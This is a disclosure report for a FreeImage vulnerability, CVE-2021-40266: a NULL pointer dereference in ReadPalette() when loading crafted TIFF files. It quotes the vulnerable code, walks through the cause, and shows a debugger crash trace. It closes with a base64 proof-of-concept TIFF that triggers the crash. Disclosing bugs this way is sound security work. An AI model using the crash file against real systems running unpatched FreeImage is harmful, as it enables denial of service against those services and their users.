Headline
CVE-2021-40266: FreeImage / Bugs / #334 A NULL pointer dereference exists in function ReadPalette() located in PluginTIFF.cpp
FreeImage before 1.18.0, ReadPalette function in PluginTIFF.cpp is vulnerabile to null pointer dereference.
tl;dr:
When Load TIFF format files, “bitspersample” and “samplesperpixel” are read from file. If the variable biBitCount < 16 witch calc by “bitspersample” and "samplesperpixel", FreeImage will try to write nullptr.
When the program reads a TIFF format file, it will be handed to the Load() function of the ‘PluginTIFF.cpp’ file. And it will call ReadPalette().
In ReadPalette function, it call FreeImage_GetPalette() to get variable "pal", then write to variable “pal” without check.
static void ReadPalette(TIFF *tiff, uint16_t photometric, uint16_t bitspersample, FIBITMAP *dib) { RGBQUAD *pal = FreeImage_GetPalette(dib); // <---- get pal (maybe null)
switch(photometric) { // <---- write pal every case
case PHOTOMETRIC\_MINISBLACK: // bitmap and greyscale image types
case PHOTOMETRIC\_MINISWHITE:
// Monochrome image
if (bitspersample \== 1) {
if (photometric \== PHOTOMETRIC\_MINISWHITE) {
pal\[0\].rgbRed \= pal\[0\].rgbGreen \= pal\[0\].rgbBlue \= 255; //<---- write
pal\[1\].rgbRed \= pal\[1\].rgbGreen \= pal\[1\].rgbBlue \= 0;
} else {
pal\[0\].rgbRed \= pal\[0\].rgbGreen \= pal\[0\].rgbBlue \= 0; //<---- write
pal\[1\].rgbRed \= pal\[1\].rgbGreen \= pal\[1\].rgbBlue \= 255;
}
} else if ((bitspersample \== 4) ||(bitspersample \== 8)) {
// need to build the scale for greyscale images
int ncolors \= FreeImage\_GetColorsUsed(dib);
if (photometric \== PHOTOMETRIC\_MINISBLACK) {
for (int i \= 0; i < ncolors; i++) {
pal\[i\].rgbRed \= //<---- write
pal\[i\].rgbGreen \=
pal\[i\].rgbBlue \= (BYTE)(i\*(255/(ncolors\-1)));
}
} else {
for (int i \= 0; i < ncolors; i++) {
pal\[i\].rgbRed \= //<---- write
pal\[i\].rgbGreen \=
pal\[i\].rgbBlue \= (BYTE)(255\-i\*(255/(ncolors\-1)));
}
}
}
break;
case PHOTOMETRIC\_PALETTE: // color map indexed
uint16\_t \*red;
uint16\_t \*green;
uint16\_t \*blue;
TIFFGetField(tiff, TIFFTAG\_COLORMAP, &red, &green, &blue);
// load the palette in the DIB
if (CheckColormap(1<<bitspersample, red, green, blue) \== 16) {
for (int i \= (1 << bitspersample) \- 1; i \>= 0; i\--) {
pal\[i\].rgbRed \=(BYTE) CVT(red\[i\]); //<---- write
pal\[i\].rgbGreen \= (BYTE) CVT(green\[i\]);
pal\[i\].rgbBlue \= (BYTE) CVT(blue\[i\]);
}
} else {
for (int i \= (1 << bitspersample) \- 1; i \>= 0; i\--) {
pal\[i\].rgbRed \= (BYTE) red\[i\]; //<---- write
pal\[i\].rgbGreen \= (BYTE) green\[i\];
pal\[i\].rgbBlue \= (BYTE) blue\[i\];
}
}
break;
}
}
function FreeImage_GetPalette() maybe return NULL.
FreeImage_GetPalette(FIBITMAP *dib) { return (dib && FreeImage_GetBPP(dib) < 16) ? (RGBQUAD *)(((BYTE *)FreeImage_GetInfoHeader(dib)) + sizeof(BITMAPINFOHEADER)) : NULL; }
unsigned DLL_CALLCONV FreeImage_GetBPP(FIBITMAP *dib) { return dib ? FreeImage_GetInfoHeader(dib)->biBitCount : 0; }
Variable biBitCount is calc by “bitspersample” and “samplesperpixel” in function "CreateImageType", and these two variable are read from file.
So if variable biBitCount less than 16, FreeImage will try to write nullptr. It allows an attacker to cause Denial of Service.
windbg:
ModLoad: 10000000 105ee000 D:\temp\_zzz\FreeImage.dll ModLoad: 752b0000 752c4000 C:\Windows\SysWOW64\VCRUNTIME140.dll ModLoad: 755e0000 75643000 C:\Windows\SysWOW64\WS2_32.dll ModLoad: 77050000 7710f000 C:\Windows\SysWOW64\RPCRT4.dll (17dc.5d5c): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=2b110000 edx=00000000 esi=77442044 edi=7744260c eip=774e1b72 esp=0095f420 ebp=0095f44c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 774e1b72 cc int 3 0:000> g (17dc.5d5c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for D:\temp\_zzz\FreeImage.dll eax=000000ff ebx=069ceff8 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=10034fbc esp=0095f63c ebp=00000000 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 FreeImage!_TIFFmemcmp+0x3fc: 10034fbc 884500 mov byte ptr [ebp],al ss:002b:00000000=?? 0:000> kv # ChildEBP RetAddr Args to Child 00 0095f658 10037780 00000001 00000010 06982fc8 FreeImage!_TIFFmemcmp+0x3fc (FPO: [Uses EBP] [2,5,4]) 01 0095f8a0 1000d9de 0095f8f4 06982fc8 00000010 FreeImage!_TIFFmemcmp+0x2bc0 (FPO: [5,139,3]) 02 0095f8d4 1000da60 00000012 0095f8f4 06982fc8 FreeImage!FreeImage_LoadFromHandle+0x8e (FPO: [Uses EBP] [4,3,2]) 03 0095f900 00b0107b 00000012 0697efee 00000000 FreeImage!FreeImage_Load+0x50 (FPO: [3,4,2])
TestFile:
data:image/tiff;base64,SUkqAAgAAAAHAAABAwABAAAAIAAAAAEBAwABAAAAIAAAABcBBAAMAAAACAAAABEBBAAEAAAACAAAABYBAwABAAAAAAQAABUBAwABAAAAEAAAAEMBAwABAAAAAQAAAAAAAAA=